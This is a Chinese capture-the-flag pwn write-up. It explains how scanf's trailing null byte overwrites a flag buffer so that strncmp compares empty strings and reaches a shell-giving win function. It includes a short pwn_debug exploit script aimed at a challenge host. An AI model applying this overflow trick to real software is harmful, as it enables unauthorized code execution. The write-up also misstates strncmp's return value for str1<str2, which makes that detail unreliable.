程序逻辑很简单,ptr指针指向读进来的flag,s1是自己输入的字符串,通过strncmp判等,相等就能执行win函数。首先需要知道scanf("%s")在读取字符串的时候会在末尾加上一个’\x00’来截断
看一下栈里的情况,s1与ptr的偏移是0x40,那么在输入s1时,只要输入长度大于0x40,就会在
0x40+1,也即ptr+1处写上一个’\x00’
再看一下strncmp函数,比较两个字符串的前n位,若str1==str2,返回0,若str1>str2返回正数, 若
str1<str2返回正数。
事实上,strncmp的返回值是str1和str2第一个不相同位的ascii码的差值。
但重点是strncmp也会被‘\x00’截断
因此只要让s1和ptr的第一位都是’\x00‘,strncmp就会返回0,从而执行win函数getshell
from pwn_debug import *
context.log_level = 'debug'
pdbg = pwn_debug("./chall")
pdbg.local("")
pdbg.remote("34.146.101.4", 30007)
p = pdbg.run("local")
p.recv()
p.sendline("\x00"*(0x40))
p.interactive()
tips:最开始以为c语言中非一个负值会得到正值,所以一直想着让strncmp返回一个负值就能执行win。捯饬了半天也打不通,最后发现c语言中非负值得到的也是0。